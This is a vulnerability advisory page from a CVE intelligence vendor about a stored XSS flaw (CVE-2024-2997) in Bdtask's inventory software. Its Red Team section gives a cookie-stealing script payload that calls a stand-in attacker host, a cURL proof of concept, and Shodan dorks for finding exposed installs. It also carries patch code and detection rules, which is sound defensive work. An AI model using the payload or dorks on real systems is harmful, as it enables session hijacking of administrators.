☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 2.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2997

CVE-2024-2997 Cross-Site Scripting in Bdtask
📅 PUBLISHED: 2024-03-27 20:31 UTC 🔄 UPDATED: 2026-08-22 07:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 5.79%
👁️
5.79% probability
144.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1053.002
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 2.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
2.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2997 is a stored cross-site scripting (XSS) vulnerability in the Bdtask Multi-Store Inventory Management System (up to version 20240320). The flaw resides in the handling of the Category Name, Model Name, Brand Name, and Unit Name parameters. An attacker can inject arbitrary JavaScript code into these fields, which will be executed when an administrator or other user views the affected page. The CVSS score is 2.4 (Low) due to the requirement for user interaction and the low impact on confidentiality and integrity. However, the vulnerability is publicly disclosed and unpatched, making it a risk for any organization using this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP/MySQL web application. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 2.4 (Low)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must visit the page containing the injected script.
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: Low (I:L) – attacker can modify content or perform actions on behalf of the victim.
  • Availability Impact: None (A:N)

Threat Level: Low. The attack requires user interaction and only allows limited integrity impact. However, in a social engineering context, it could be used to steal session cookies or perform phishing.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79). The application does not properly sanitize user-supplied input in the Category Name, Model Name, Brand Name, or Unit Name fields. When an administrator or privileged user views the inventory management page, the injected script executes in their browser context.

Attack Flow:

  1. Attacker identifies the vulnerable input fields (e.g., via a form to add a new category).
  2. Attacker submits a payload such as <script>alert('XSS')</script> in the Category Name field.
  3. The payload is stored in the database without sanitization.
  4. When an administrator navigates to the category listing page, the script executes.
  5. The attacker can then steal session cookies, redirect the admin to a malicious site, or perform actions on behalf of the admin.

Root Cause: Lack of output encoding and input validation. The application likely uses echo or print directly without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (PHP example):

<?php
// Vulnerable: direct output without sanitization
echo "<td>" . $_POST['category_name'] . "</td>";
?>

Patched Code (PHP example):

<?php
// Patched: use htmlspecialchars to escape HTML
echo "<td>" . htmlspecialchars($_POST['category_name'], ENT_QUOTES, 'UTF-8') . "</td>";
?>

Note: Since no official patch exists, the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Access to the vulnerable application (e.g., demo or test instance).
  • Knowledge of the input fields (Category Name, Model Name, Brand Name, Unit Name).

Exploit Steps:

  1. Navigate to the inventory management page (e.g., /inventory/category/add).
  2. In the Category Name field, inject a payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Submit the form.
  4. Wait for an administrator to view the category list.
  5. The admin's browser will send the cookie to the attacker's server.

Proof-of-Concept (PoC) using cURL:

curl -X POST http://target.com/inventory/category/add \
  -d "category_name=<script>alert('XSS')</script>&submit=1"

Blue Team (Defender)

Detection:

  • Monitor web application logs for suspicious input patterns (e.g., <script>, onerror=, javascript:).
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

  • Search database for stored XSS payloads in the categories, models, brands, and units tables.
  • Review HTTP requests to /inventory/* endpoints for encoded or obfuscated JavaScript.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains from the application server.
    • Suspicious POST requests containing <script> tags to /inventory/category/add, /inventory/model/add, etc.
  • Host IOCs:
    • Database entries in categories, models, brands, or units tables containing HTML/JavaScript.
    • Web server logs showing alert, document.cookie, or fetch in request parameters.
  • File IOCs:
    • Modified PHP files (if attacker gains admin access) – unlikely for this XSS alone.

Detection Engineering

YARA Rule

rule CVE_2024_2997_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Bdtask Multi-Store Inventory Management System"
        author = "Valters IT"
        date = "2024-04-01"
        reference = "CVE-2024-2997"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-2997 Stored XSS in Bdtask Inventory System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in Category/Model/Brand/Unit Name fields
author: Valters IT
date: 2024/04/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2997
logsource:
    category: web
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/inventory/category/add'
            - '/inventory/model/add'
            - '/inventory/brand/add'
            - '/inventory/unit/add'
        cs-params|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in description fields (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2997 Stored XSS Attempt in Bdtask Inventory System";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/inventory/"; http_uri;
    pcre:"/(category|model|brand|unit)\/add/i";
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-2997;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable input fields if possible, or restrict access to admin-only.
  2. Apply input validation and output encoding to all user-supplied data. Use htmlspecialchars() in PHP or equivalent in other languages.
  3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  4. Monitor logs for exploitation attempts.

Long-term Fix:

  • The vendor (Bdtask) must release a patch. Until then, consider migrating to a different inventory management system or manually patching the code.
  • Conduct a full security audit of the application.

Workaround:

  • Use a reverse proxy (e.g., Nginx) with ModSecurity to filter malicious input.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Multi-Store Inventory Management System"
http.html:"bdtask" "inventory"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2997/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.